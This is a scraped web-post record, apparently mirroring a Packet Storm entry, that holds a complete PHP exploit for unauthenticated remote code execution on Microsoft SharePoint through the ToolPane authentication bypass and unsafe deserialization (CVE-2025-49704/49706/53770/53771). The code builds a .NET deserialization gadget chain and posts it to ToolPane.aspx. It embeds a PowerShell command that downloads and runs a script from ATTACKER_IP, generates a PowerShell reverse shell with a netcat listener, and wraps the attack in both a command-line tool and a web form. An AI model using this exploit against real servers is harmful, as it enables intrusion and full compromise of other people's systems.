{“lastseen”:”2025-12-02T19:41:59″,”description”:”Proof of concept exploit for Microsoft SharePoint server that chains authentication bypass with unsafe deserialization to achieve complete system compromise without authentication…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft SharePoint Server ToolPane Authentication Bypass \/ Unsafe Deserialization”,”source”:””,”references”:””,”id”:”PACKETSTORM:212316″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-49704″,”CVE-2025-49706″,”CVE-2025-53770″,”CVE-2025-53771″],”sourceData”:”=============================================================================================================================================\\n | # Title : Microsoft SharePoint Server ToolPane Authentication Bypass + Unsafe Deserialization |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.microsoft.com\/en-us\/microsoft-365\/sharepoint\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/207935\/ \\u0026 \\tCVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771\\n \\n [+] Summary : \\n \\n critical unauthenticated remote code execution vulnerabilities in Microsoft SharePoint Server. The vulnerability chain combines authentication bypass vulnerabilities \\n \\t\\t (CVE-2025-49706 and CVE-2025-53771) with an unsafe deserialization vulnerability (CVE-2025-49704) to achieve complete system compromise without authentication.\\n \\t\\t \\n [+] Affected Components\\n \\n # Authentication Bypass Endpoint\\n \\n POST \/_layouts\/15\/ToolPane.aspx\/RANDOM_PATH\\n \\n # Deserialization Trigger\\n \\n ExcelDataSet Control with CompressedDataTable\\n \\n Vulnerability Chain\\n \\n 1. Authentication Bypass via CVE-2025-49706 \\u0026 CVE-2025-53771\\n 2. Access ToolPane.aspx with arbitrary parameters\\n 3. Trigger unsafe deserialization via CVE-2025-49704\\n 4. Execute .NET gadget chain for code execution\\n 5. Achieve RCE as SharePoint application pool identity\\n \\n [+] POC : php poc.php\\n \\n # Vulnerability Scan\\n \\n php poc.php -t http:\/\/sharepoint.company.com`\\n \\n # Execute Command\\n \\n php poc.php -t http:\/\/sharepoint.company.com -c ‘whoami’`\\n \\n # Create PowerShell Payload\\n \\n php poc.php –generate -l 192.168.1.100 -r 4444`\\n \\n Via Browser:\\n \\n https:\/\/yourserver.com\/exploit.php\\n \\n \\u003c?php\\n \/**\\n * Author: indoushka\\n * Vulnerabilities: Authentication Bypass + Unsafe Deserialization\\n *\/\\n \\n class SharePointExploit {\\n private $target;\\n private $base_path;\\n \\n public function __construct($target_url, $base_path = ‘\/’) {\\n $this-\\u003etarget = rtrim($target_url, ‘\/’);\\n $this-\\u003ebase_path = rtrim($base_path, ‘\/’);\\n }\\n \\n public function check_vulnerability() {\\n echo \\”[*] Checking SharePoint version and vulnerability…\\\\n\\”;\\n \\n $url = $this-\\u003etarget . $this-\\u003ebase_path . ‘\/_layouts\/15\/start.aspx’;\\n \\n $context = stream_context_create([\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘GET’,\\n ‘timeout’ =\\u003e 10,\\n ‘user_agent’ =\\u003e ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’\\n ]\\n ]);\\n \\n $response = @file_get_contents($url, false, $context);\\n \\n if ($response === false) {\\n echo \\”[-] Could not connect to SharePoint\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Extract siteClientTag from JavaScript\\n preg_match(‘\/\\”*siteClientTag\\”*\\\\s*:\\\\s*\\”\\\\d*[$]+([^\\”]+)\\”,\/’, $response, $matches);\\n \\n if (!isset($matches[1])) {\\n echo \\”[-] Could not determine SharePoint version\\\\n\\”;\\n return false;\\n }\\n \\n $version = $matches[1];\\n echo \\”[+] SharePoint version detected: {$version}\\\\n\\”;\\n \\n \/\/ Check if version is vulnerable\\n $vulnerable_versions = [\\n ‘16.0.14326.20450’ =\\u003e ‘16.0.18526.20424’, \/\/ SharePoint Subscription Edition\\n ‘16.0.10337.12109’ =\\u003e ‘16.0.10417.20027’, \/\/ SharePoint 2019\\n ‘16.0.4351.1000’ =\\u003e ‘16.0.5508.1000’, \/\/ SharePoint 2016\\n ];\\n \\n foreach ($vulnerable_versions as $min_version =\\u003e $max_version) {\\n if (version_compare($version, $min_version, ‘\\u003e=’) \\u0026\\u0026 \\n version_compare($version, $max_version, ‘\\u003c=’)) {\\n echo \\”[+] Version appears to be VULNERABLE!\\\\n\\”;\\n return true;\\n }\\n }\\n \\n echo \\”[-] Version appears to be PATCHED\\\\n\\”;\\n return false;\\n }\\n \\n public function exploit($command = ‘whoami’) {\\n echo \\”[*] Exploiting SharePoint ToolPane vulnerabilities…\\\\n\\”;\\n \\n \/\/ Step 1: Create the gadget chain\\n $gadget_chain = $this-\\u003ecreate_gadget_chain($command);\\n if (!$gadget_chain) {\\n echo \\”[-] Failed to create gadget chain\\\\n\\”;\\n return false;\\n }\\n \\n \/\/ Step 2: Send the exploit\\n $result = $this-\\u003esend_exploit($gadget_chain);\\n \\n if ($result) {\\n echo \\”[+] Exploit sent successfully\\\\n\\”;\\n \/\/ Note: Command output may not be directly visible\\n echo \\”[+] Check your listener for reverse shell\\\\n\\”;\\n } else {\\n echo \\”[-] Exploit failed\\\\n\\”;\\n }\\n \\n return $result;\\n }\\n \\n private function create_gadget_chain($command) {\\n echo \\”[*] Creating .NET deserialization gadget chain…\\\\n\\”;\\n \\n \/\/ For demonstration, we’ll create a simple command execution payload\\n \/\/ In a real scenario, this would be a complex .NET deserialization chain\\n \\n $payload = base64_encode($this-\\u003egenerate_payload($command));\\n \\n \/\/ Create the DataSet wrapper with the payload\\n $name_a = $this-\\u003erandom_string(8);\\n $name_b = $this-\\u003erandom_string(8);\\n $name_c = $this-\\u003erandom_string(8);\\n \\n $schema = \\u003c\\u003c\\u003cXML\\n \\u003cxs:schema xmlns=\\”\\” xmlns:xs=\\”http:\/\/www.w3.org\/2001\/XMLSchema\\” xmlns:msdata=\\”urn:schemas-microsoft-com:xml-msdata\\” id=\\”{$name_a}\\”\\u003e\\n \\u003cxs:element name=\\”{$name_a}\\” msdata:IsDataSet=\\”true\\” msdata:UseCurrentLocale=\\”true\\”\\u003e\\n \\u003cxs:complexType\\u003e\\n \\u003cxs:choice minOccurs=\\”0\\” maxOccurs=\\”unbounded\\”\\u003e\\n \\u003cxs:element name=\\”{$name_b}\\”\\u003e\\n \\u003cxs:complexType\\u003e\\n \\u003cxs:sequence\\u003e\\n \\u003cxs:element name=\\”{$name_c}\\” msdata:DataType=\\”System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\\” type=\\”xs:anyType\\” minOccurs=\\”0\\”\/\\u003e\\n \\u003c\/xs:sequence\\u003e\\n \\u003c\/xs:complexType\\u003e\\n \\u003c\/xs:element\\u003e\\n \\u003c\/xs:choice\\u003e\\n \\u003c\/xs:complexType\\u003e\\n \\u003c\/xs:element\\u003e\\n \\u003c\/xs:schema\\u003e\\n XML;\\n \\n $diffgram = \\u003c\\u003c\\u003cXML\\n \\u003cdiffgr:diffgram xmlns:msdata=\\”urn:schemas-microsoft-com:xml-msdata\\” xmlns:diffgr=\\”urn:schemas-microsoft-com:xml-diffgram-v1\\”\\u003e\\n \\u003c{$name_a}\\u003e\\n \\u003c{$name_b} diffgr:id=\\”Table\\” msdata:rowOrder=\\”0\\” diffgr:hasChanges=\\”inserted\\”\\u003e\\n \\u003c{$name_c} xmlns:xsi=\\”http:\/\/www.w3.org\/2001\/XMLSchema-instance\\” xmlns:xsd=\\”http:\/\/www.w3.org\/2001\/XMLSchema\\”\\u003e\\n \\u003cExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\\”http:\/\/www.w3.org\/2001\/XMLSchema-instance\\” xmlns:xsd=\\”http:\/\/www.w3.org\/2001\/XMLSchema\\”\\u003e\\n \\u003cExpandedElement\/\\u003e\\n \\u003cProjectedProperty0\\u003e\\n \\u003cMethodName\\u003eDeserialize\\u003c\/MethodName\\u003e\\n \\u003cMethodParameters\\u003e\\n \\u003canyType xmlns:xsi=\\”http:\/\/www.w3.org\/2001\/XMLSchema-instance\\” xmlns:xsd=\\”http:\/\/www.w3.org\/2001\/XMLSchema\\” xsi:type=\\”xsd:string\\”\\u003e{$payload}\\u003c\/anyType\\u003e\\n \\u003c\/MethodParameters\\u003e\\n \\u003cObjectInstance xsi:type=\\”LosFormatter\\”\\u003e\\u003c\/ObjectInstance\\u003e\\n \\u003c\/ProjectedProperty0\\u003e\\n \\u003c\/ExpandedWrapperOfLosFormatterObjectDataProvider\\u003e\\n \\u003c\/{$name_c}\\u003e\\n \\u003c\/{$name_b}\\u003e\\n \\u003c\/{$name_a}\\u003e\\n \\u003c\/diffgr:diffgram\\u003e\\n XML;\\n \\n \/\/ Combine into the final gadget chain\\n $gadget_chain = $schema . $diffgram;\\n \\n return $gadget_chain;\\n }\\n \\n private function generate_payload($command) {\\n \/\/ Generate a simple PowerShell payload\\n \/\/ In a real exploit, this would be a proper .NET deserialization payload\\n \\n $powershell_cmd = base64_encode(\\”iex (New-Object Net.WebClient).DownloadString(‘http:\/\/ATTACKER_IP\/payload.ps1’)\\”);\\n \\n $payload = \\u003c\\u003c\\u003cPS\\n powershell -enc {$powershell_cmd}\\n PS;\\n \\n return $payload;\\n }\\n \\n private function send_exploit($gadget_chain) {\\n echo \\”[*] Sending exploit to ToolPane.aspx…\\\\n\\”;\\n \\n $random_path = $this-\\u003erandom_string(8);\\n $random_param = $this-\\u003erandom_string(8);\\n \\n $namespace_ui = $this-\\u003erandom_string(8);\\n $namespace_scorecards = $this-\\u003erandom_string(8);\\n \\n \/\/ Compress the gadget chain\\n $compressed_gadget = gzencode($gadget_chain);\\n $encoded_gadget = base64_encode($compressed_gadget);\\n \\n \/\/ Create the XML payload\\n $xml = \\u003c\\u003c\\u003cXML\\n \\u003c%@ Register Tagprefix=\\”{$namespace_ui}\\” Namespace=\\”System.Web.UI\\” Assembly=\\”System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\\” %\\u003e\\n \\u003c%@ Register Tagprefix=\\”{$namespace_scorecards}\\” Namespace=\\”Microsoft.PerformancePoint.Scorecards\\” Assembly=\\”Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c\\” %\\u003e\\n \\u003c{$namespace_ui}:UpdateProgress\\u003e\\n \\u003cProgressTemplate\\u003e\\n \\u003c{$namespace_scorecards}:ExcelDataSet CompressedDataTable=\\”{$encoded_gadget}\\” DataTable-CaseSensitive=\\”true\\” runat=\\”server\\”\/\\u003e\\n \\u003c\/ProgressTemplate\\u003e\\n \\u003c\/{$namespace_ui}:UpdateProgress\\u003e\\n XML;\\n \\n $url = $this-\\u003etarget . $this-\\u003ebase_path . \\”\/_layouts\/15\/ToolPane.aspx\/{$random_path}\\”;\\n \\n $post_data = http_build_query([\\n ‘MSOTlPn_Uri’ =\\u003e $this-\\u003etarget . $this-\\u003ebase_path . ‘\/_controltemplates\/15\/AclEditor.ascx’,\\n ‘MSOTlPn_DWP’ =\\u003e $xml\\n ]);\\n \\n $get_params = http_build_query([\\n ‘DisplayMode’ =\\u003e ‘Edit’,\\n $random_param =\\u003e ‘\/ToolPane.aspx’\\n ]);\\n \\n $full_url = $url . ‘?’ . $get_params;\\n \\n $headers = [\\n ‘Referer: ‘ . $this-\\u003etarget . $this-\\u003ebase_path . ‘\/_layouts\/SignOut.aspx’,\\n ‘Content-Type: application\/x-www-form-urlencoded’,\\n ‘User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’\\n ];\\n \\n $context = stream_context_create([\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e implode(\\”\\\\r\\\\n\\”, $headers),\\n ‘content’ =\\u003e $post_data,\\n ‘timeout’ =\\u003e 15,\\n ‘ignore_errors’ =\\u003e true\\n ]\\n ]);\\n \\n $response = @file_get_contents($full_url, false, $context);\\n \\n if ($response === false) {\\n return false;\\n }\\n \\n \/\/ Check for successful exploitation indicators\\n if (strpos($response, ‘error’) === false) {\\n return true;\\n }\\n \\n return false;\\n }\\n \\n private function random_string($length = 8) {\\n $characters = ‘abcdefghijklmnopqrstuvwxyz’;\\n $result = ”;\\n for ($i = 0; $i \\u003c $length; $i++) {\\n $result .= $characters[rand(0, strlen($characters) – 1)];\\n }\\n return $result;\\n }\\n \\n public function generate_powershell_payload($lhost, $lport) {\\n $payload = \\u003c\\u003c\\u003cPS\\n \\\\$client = New-Object System.Net.Sockets.TCPClient(‘{$lhost}’,{$lport});\\n \\\\$stream = \\\\$client.GetStream();\\n [byte[]]\\\\$bytes = 0..65535|%{0};\\n while((\\\\$i = \\\\$stream.Read(\\\\$bytes, 0, \\\\$bytes.Length)) -ne 0){\\n \\\\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\\\$bytes,0, \\\\$i);\\n \\\\$sendback = (iex \\\\$data 2\\u003e\\u00261 | Out-String );\\n \\\\$sendback2 = \\\\$sendback + ‘PS ‘ + (pwd).Path + ‘\\u003e ‘;\\n \\\\$sendbyte = ([text.encoding]::ASCII).GetBytes(\\\\$sendback2);\\n \\\\$stream.Write(\\\\$sendbyte,0,\\\\$sendbyte.Length);\\n \\\\$stream.Flush();\\n }\\n \\\\$client.Close();\\n PS;\\n \\n $encoded = base64_encode($payload);\\n file_put_contents(‘payload.ps1’, $payload);\\n \\n echo \\”[+] PowerShell payload created: payload.ps1\\\\n\\”;\\n echo \\”[+] Use command: powershell -enc {$encoded}\\\\n\\”;\\n echo \\”[+] Start listener: nc -lvnp {$lport}\\\\n\\”;\\n \\n return $encoded;\\n }\\n }\\n \\n \/\/ Command line interface\\n if (php_sapi_name() === ‘cli’) {\\n echo \\”\\n \u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588 \u2588\u2554\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\\n \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\\n \\n SharePoint ToolPane Unauthenticated RCE Exploit\\n CVE-2025-49706, CVE-2025-53771, CVE-2025-49704\\n \\\\n\\”;\\n \\n $options = getopt(\\”t:p:c:l:r:gh\\”, [\\n \\”target:\\”,\\n \\”path:\\”,\\n \\”command:\\”,\\n \\”lhost:\\”,\\n \\”lport:\\”,\\n \\”generate\\”,\\n \\”help\\”\\n ]);\\n \\n if (isset($options[‘h’]) || isset($options[‘help’]) || $argc == 1) {\\n echo \\”Usage: php poc.php [options]\\\\n\\”;\\n echo \\”Options:\\\\n\\”;\\n echo \\” -t, –target Target URL (required)\\\\n\\”;\\n echo \\” -p, –path Base path (default: \/)\\\\n\\”;\\n echo \\” -c, –command Command to execute\\\\n\\”;\\n echo \\” -l, –lhost Listener IP for reverse shell\\\\n\\”;\\n echo \\” -r, –lport Listener port for reverse shell\\\\n\\”;\\n echo \\” -g, –generate Generate PowerShell payload only\\\\n\\”;\\n echo \\” -h, –help Show this help message\\\\n\\”;\\n echo \\”\\\\nExamples:\\\\n\\”;\\n echo \\” php poc.php -t http:\/\/sharepoint.company.com -c ‘whoami’\\\\n\\”;\\n echo \\” php poc.php -t http:\/\/sharepoint.company.com -l 192.168.1.100 -r 4444\\\\n\\”;\\n echo \\” php poc.php –generate -l 192.168.1.100 -r 4444\\\\n\\”;\\n exit(1);\\n }\\n \\n if (isset($options[‘g’]) || isset($options[‘generate’])) {\\n if (!isset($options[‘l’]) \\u0026\\u0026 !isset($options[‘lhost’])) {\\n echo \\”Error: LHOST is required for payload generation\\\\n\\”;\\n exit(1);\\n }\\n \\n $lhost = isset($options[‘l’]) ? $options[‘l’] : $options[‘lhost’];\\n $lport = isset($options[‘r’]) ? $options[‘r’] : (isset($options[‘lport’]) ? $options[‘lport’] : 4444);\\n \\n $exploit = new SharePointExploit(”);\\n $exploit-\\u003egenerate_powershell_payload($lhost, $lport);\\n exit(0);\\n }\\n \\n if (!isset($options[‘t’]) \\u0026\\u0026 !isset($options[‘target’])) {\\n echo \\”Error: Target URL is required\\\\n\\”;\\n exit(1);\\n }\\n \\n $target = isset($options[‘t’]) ? $options[‘t’] : $options[‘target’];\\n $path = isset($options[‘p’]) ? $options[‘p’] : (isset($options[‘path’]) ? $options[‘path’] : ‘\/’);\\n $command = isset($options[‘c’]) ? $options[‘c’] : (isset($options[‘command’]) ? $options[‘command’] : ‘whoami’);\\n \\n $exploit = new SharePointExploit($target, $path);\\n \\n \/\/ Check vulnerability first\\n if (!$exploit-\\u003echeck_vulnerability()) {\\n echo \\”[-] Target does not appear to be vulnerable\\\\n\\”;\\n exit(1);\\n }\\n \\n \/\/ Execute exploit\\n $exploit-\\u003eexploit($command);\\n \\n } else {\\n \/\/ Web interface\\n if (isset($_POST[‘exploit’])) {\\n $target = $_POST[‘target’] ?? ”;\\n $path = $_POST[‘path’] ?? ‘\/’;\\n $command = $_POST[‘command’] ?? ‘whoami’;\\n \\n if ($target) {\\n $exploit = new SharePointExploit($target, $path);\\n \\n ob_start();\\n $exploit-\\u003echeck_vulnerability();\\n $exploit-\\u003eexploit($command);\\n $output = ob_get_clean();\\n \\n echo \\”\\u003cpre\\u003e$output\\u003c\/pre\\u003e\\”;\\n } else {\\n echo \\”\\u003cdiv style=’color: red;’\\u003eTarget URL is required\\u003c\/div\\u003e\\”;\\n }\\n } else {\\n echo ‘\\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003eSharePoint RCE Exploit\\u003c\/title\\u003e\\n \\u003cstyle\\u003e\\n body { font-family: Arial, sans-serif; margin: 40px; }\\n .container { max-width: 600px; margin: 0 auto; }\\n .form-group { margin-bottom: 15px; }\\n label { display: block; margin-bottom: 5px; font-weight: bold; }\\n input[type=\\”text\\”] { \\n width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; \\n }\\n button { \\n background: #007cba; color: white; padding: 10px 20px; \\n border: none; border-radius: 4px; cursor: pointer; \\n }\\n \\u003c\/style\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003cdiv class=\\”container\\”\\u003e\\n \\u003ch1\\u003eSharePoint ToolPane RCE Exploit\\u003c\/h1\\u003e\\n \\u003cform method=\\”post\\”\\u003e\\n \\u003cinput type=\\”hidden\\” name=\\”exploit\\” value=\\”1\\”\\u003e\\n \\n \\u003cdiv class=\\”form-group\\”\\u003e\\n \\u003clabel for=\\”target\\”\\u003eTarget URL:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” id=\\”target\\” name=\\”target\\” placeholder=\\”http:\/\/sharepoint.company.com\\” required\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”form-group\\”\\u003e\\n \\u003clabel for=\\”path\\”\\u003eBase Path:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” id=\\”path\\” name=\\”path\\” value=\\”\/\\”\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”form-group\\”\\u003e\\n \\u003clabel for=\\”command\\”\\u003eCommand:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” id=\\”command\\” name=\\”command\\” value=\\”whoami\\”\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cbutton type=\\”submit\\”\\u003eExecute Exploit\\u003c\/button\\u003e\\n \\u003c\/form\\u003e\\n \\u003c\/div\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e’;\\n }\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212316″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212316\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-02T19:41:59″,”description”:”Proof of concept exploit for Microsoft SharePoint server that chains authentication bypass with unsafe deserialization to achieve complete system compromise without authentication…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft SharePoint Server…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-28311","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n